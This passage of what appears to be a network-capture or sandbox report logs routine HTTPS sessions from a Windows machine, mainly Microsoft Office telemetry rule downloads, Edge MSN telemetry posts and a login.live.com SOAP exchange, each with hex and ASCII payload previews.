2024-11-24 22:24:45 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-24 22:24:45 UTC	15180	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:44 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:44 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222444Z-178bfbc474b7cbwqhC1NYC8z4n00000006f000000000bkbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:45 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:44 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222444Z-178bfbc474bvjk8shC1NYC83ns00000006fg000000005daz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:45 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c42a731b-b01e-0098-7820-3dcead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222445Z-178bfbc474btrnf9hC1NYCb80g00000006ng00000000n23a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:45 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:45 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1c81f4ad-001e-005a-6fbf-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222445Z-174c587ffdf59vqchC1TEByk68000000054g00000000k5zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:45 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:45 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:46 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8a9c0054-c01e-0046-231b-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222446Z-178bfbc474btrnf9hC1NYCb80g00000006rg00000000b36u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:46 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49874	20.189.173.8	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:46 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487083098&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11580 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-24 22:24:46 UTC	11580	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 32 32 3a 32 34 3a 34 33 2e 30 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 64 39 65 33 62 30 36 2d 63 62 63 33 2d 34 62 61 31 2d 39 37 62 64 2d 64 36 39 63 36 30 38 34 64 31 64 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 35 35 37 33 31 35 37 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-24T22:24:43.096Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"ad9e3b06-cbc3-4ba1-97bd-d69c6084d1d8","epoch":"1955731576"},"app":{"locale
2024-11-24 22:24:46 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d4980eacaa904603b7b9b098edb6c29f&HASH=d498&LV=202411&V=4&LU=1732487086239; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 22:24:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5d5e4bbec3f04955a6f56e35b4e4290d; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 22:54:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3141 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 22:24:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49873	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-24 22:24:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:46 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_SN1 x-ms-request-id: c3a20aa3-8642-4f9d-a489-6bae65bee74a PPServer: PPV: 30 H: SN1PEPF0002F12F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:45 GMT Connection: close Content-Length: 11389
2024-11-24 22:24:46 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49875	20.189.173.8	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:46 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487083104&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5050 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-24 22:24:46 UTC	5050	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 32 32 3a 32 34 3a 34 33 2e 31 30 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 64 39 65 33 62 30 36 2d 63 62 63 33 2d 34 62 61 31 2d 39 37 62 64 2d 64 36 39 63 36 30 38 34 64 31 64 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 35 35 37 33 31 35 37 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-24T22:24:43.103Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"ad9e3b06-cbc3-4ba1-97bd-d69c6084d1d8","epoch":"1955731576"},"app":{"locale
2024-11-24 22:24:46 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a7abaaa481344db9ad127b2d46099cdb&HASH=a7ab&LV=202411&V=4&LU=1732487086277; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 22:24:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d55e11b765d14c50b24fffa18e701f07; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 22:54:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3173 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 22:24:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222447Z-178bfbc474b9fdhphC1NYCac0n00000006kg0000000043p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
